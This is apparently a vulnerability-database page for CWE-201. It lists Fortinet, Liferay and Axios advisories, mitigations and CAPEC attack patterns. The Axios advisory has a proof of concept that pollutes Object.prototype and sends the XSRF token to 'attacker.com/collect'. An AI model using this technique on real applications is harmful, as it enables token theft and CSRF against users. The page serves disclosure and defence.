Common Weakness Enumeration

CWE-201

Allowed

Insertion of Sensitive Information Into Sent Data

Abstraction: Base · Status: Draft

The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.

673 vulnerabilities reference this CWE, most recent first.

GHSA-XH2M-HVR8-55PQ

Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30

Details

A insertion of sensitive information into sent data in Fortinet FortiManager Cloud 7.4.1 through 7.4.3, FortiVoice 7.0.0 through 7.0.4, 6.4.0 through 6.4.9, 6.0.7 through 6.0.12, FortiMail 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.9, FortiOS 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.8, 7.0.0 through 7.0.15, 6.4.0 through 6.4.15, 6.2.0 through 6.2.17, 6.0.0 through 6.0.18, FortiWeb 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.11, 7.0.0 through 7.0.11, 6.4.0 through 6.4.3, FortiRecorder 7.2.0 through 7.2.1, 7.0.0 through 7.0.4, FortiNDR 7.6.0 through 7.6.1, 7.4.0 through 7.4.8, 7.2.0 through 7.2.5, 7.1.0 through 7.1.1, 7.0.0 through 7.0.7, 1.5.0 through 1.5.3, FortiPAM 1.3.0 through 1.3.1, 1.2.0, 1.1.0 through 1.1.2, 1.0.0 through 1.0.3, FortiTester 7.4.0 through 7.4.2, 7.3.0 through 7.3.2, 7.2.0 through 7.2.3, 7.1.0 through 7.1.1, 7.0.0, 4.2.0 through 4.2.1, FortiProxy 7.4.0 through 7.4.4, 7.2.0 through 7.2.10, 7.0.0 through 7.0.21, 2.0.0 through 2.0.14, 1.2.0 through 1.2.13, 1.1.0 through 1.1.6, 1.0.0 through 1.0.7, FortiManager 7.6.0 through 7.6.1, 7.4.1 through 7.4.3 allows attacker to disclose sensitive information via specially crafted packets.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-47569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T16:15:35Z",
    "severity": "MODERATE"
  },
  "details": "A insertion of sensitive information into sent data in Fortinet FortiManager Cloud 7.4.1 through 7.4.3, FortiVoice 7.0.0 through 7.0.4, 6.4.0 through 6.4.9, 6.0.7 through 6.0.12, FortiMail 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.9, FortiOS 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.8, 7.0.0 through 7.0.15, 6.4.0 through 6.4.15, 6.2.0 through 6.2.17, 6.0.0 through 6.0.18, FortiWeb 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.11, 7.0.0 through 7.0.11, 6.4.0 through 6.4.3, FortiRecorder 7.2.0 through 7.2.1, 7.0.0 through 7.0.4, FortiNDR 7.6.0 through 7.6.1, 7.4.0 through 7.4.8, 7.2.0 through 7.2.5, 7.1.0 through 7.1.1, 7.0.0 through 7.0.7, 1.5.0 through 1.5.3, FortiPAM 1.3.0 through 1.3.1, 1.2.0, 1.1.0 through 1.1.2, 1.0.0 through 1.0.3, FortiTester 7.4.0 through 7.4.2, 7.3.0 through 7.3.2, 7.2.0 through 7.2.3, 7.1.0 through 7.1.1, 7.0.0, 4.2.0 through 4.2.1, FortiProxy 7.4.0 through 7.4.4, 7.2.0 through 7.2.10, 7.0.0 through 7.0.21, 2.0.0 through 2.0.14, 1.2.0 through 1.2.13, 1.1.0 through 1.1.6, 1.0.0 through 1.0.7, FortiManager 7.6.0 through 7.6.1, 7.4.1 through 7.4.3 allows attacker to disclose sensitive information via specially crafted packets.",
  "id": "GHSA-xh2m-hvr8-55pq",
  "modified": "2025-10-14T18:30:27Z",
  "published": "2025-10-14T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47569"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-228"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQ4R-4XFH-VCH8

Vulnerability from github – Published: 2024-02-20 15:31 – Updated: 2025-01-28 23:15

Summary

Liferay Portal and Liferay DXP vulnerable to theft of hashed password

Details

The Account Settings page in Liferay Portal 7.4.3.76 through 7.4.3.99, and Liferay DXP 2023.Q3 before patch 5, and 7.4 update 76 through 92 embeds the user’s hashed password in the page’s HTML source, which allows man-in-the-middle attackers to steal a user's hashed password.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.4.3.76"
            },
            {
              "fixed": "7.4.3.100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2023.Q3"
            },
            {
              "fixed": "2023.Q3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.4.0"
            },
            {
              "last_affected": "7.4.13.u92"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-26270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-28T23:15:23Z",
    "nvd_published_at": "2024-02-20T14:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The Account Settings page in Liferay Portal 7.4.3.76 through 7.4.3.99, and Liferay DXP 2023.Q3 before patch 5, and 7.4 update 76 through 92 embeds the user\u2019s hashed password in the page\u2019s HTML source, which allows man-in-the-middle attackers to steal a user\u0027s hashed password.",
  "id": "GHSA-xq4r-4xfh-vch8",
  "modified": "2025-01-28T23:15:23Z",
  "published": "2024-02-20T15:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26270"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-26270"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Liferay Portal and Liferay DXP vulnerable to theft of hashed password"
}

GHSA-XX6V-RP6X-Q39C

Vulnerability from github – Published: 2026-05-05 00:25 – Updated: 2026-05-05 00:25

Summary

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Details

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	Required	Victim must use browser with axios making cross-origin requests
Scope	Unchanged	Token leakage within browser context
Confidentiality	Low	XSRF token leaked — anti-CSRF token, not session token
Integrity	Low	Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability	None	No availability impact

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: corrected CVSS, documented limitations
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:25:22Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library\u0027s XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked \u2014 anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check \u2014 only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true \u2192 short-circuits\n//  isURLSameOrigin() is NEVER called \u2192 token sent to ANY origin\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` \u2192 always send token (explicit cross-origin opt-in)\n- `false` \u2192 never send token\n- `undefined` \u2192 send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy \u2192 same-origin check skipped \u2192 token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get(\u0027https://attacker.com/collect\u0027);\n// \u2192 attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES \u2190 BUG                No\n\"false\" (string)           YES \u2190 BUG                No\n{} (object)                YES \u2190 BUG                No\n[] (array)                 YES \u2190 BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 \u2192 leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens \u2014 leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-xx6v-rp6x-q39c",
  "modified": "2026-05-05T00:25:22Z",
  "published": "2026-05-05T00:25:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42042"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion"
}

Mitigation

Requirements

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

Mitigation

Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

Mitigation

System Configuration

Setup default error messages so that unexpected errors do not disclose sensitive information.

Mitigation MIT-46

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-217: Exploiting Incorrectly Configured SSL/TLS

An adversary takes advantage of incorrectly configured SSL/TLS communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.

CAPEC-612: WiFi MAC Address Tracking

In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future.

CAPEC-613: WiFi SSID Tracking

In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future.

CAPEC-618: Cellular Broadcast Message Request

In this attack scenario, the attacker uses knowledge of the target’s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target’s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location.

CAPEC-619: Signal Strength Tracking

In this attack scenario, the attacker passively monitors the signal strength of the target’s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking.

CAPEC-621: Analysis of Packet Timing and Sizes

An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients).

CAPEC-622: Electromagnetic Side-Channel Attack

In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack.

CAPEC-623: Compromising Emanations Attack

Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing.

← Back to the CWE list

CWE-201

Insertion of Sensitive Information Into Sent Data

GHSA-XH2M-HVR8-55PQ

GHSA-XQ4R-4XFH-VCH8

GHSA-XX6V-RP6X-Q39C

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

CWE

CVSS 3.1

Usage of "Helper" Vulnerabilities

Vulnerable Code

Proof of Concept

Verified PoC Output

Impact Analysis

Recommended Fix

Resources

Timeline

Mitigation

Mitigation

Mitigation

Mitigation MIT-46

CAPEC-12: Choosing Message Identifier

CAPEC-217: Exploiting Incorrectly Configured SSL/TLS

CAPEC-612: WiFi MAC Address Tracking

CAPEC-613: WiFi SSID Tracking

CAPEC-618: Cellular Broadcast Message Request

CAPEC-619: Signal Strength Tracking

CAPEC-621: Analysis of Packet Timing and Sizes

CAPEC-622: Electromagnetic Side-Channel Attack

CAPEC-623: Compromising Emanations Attack

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion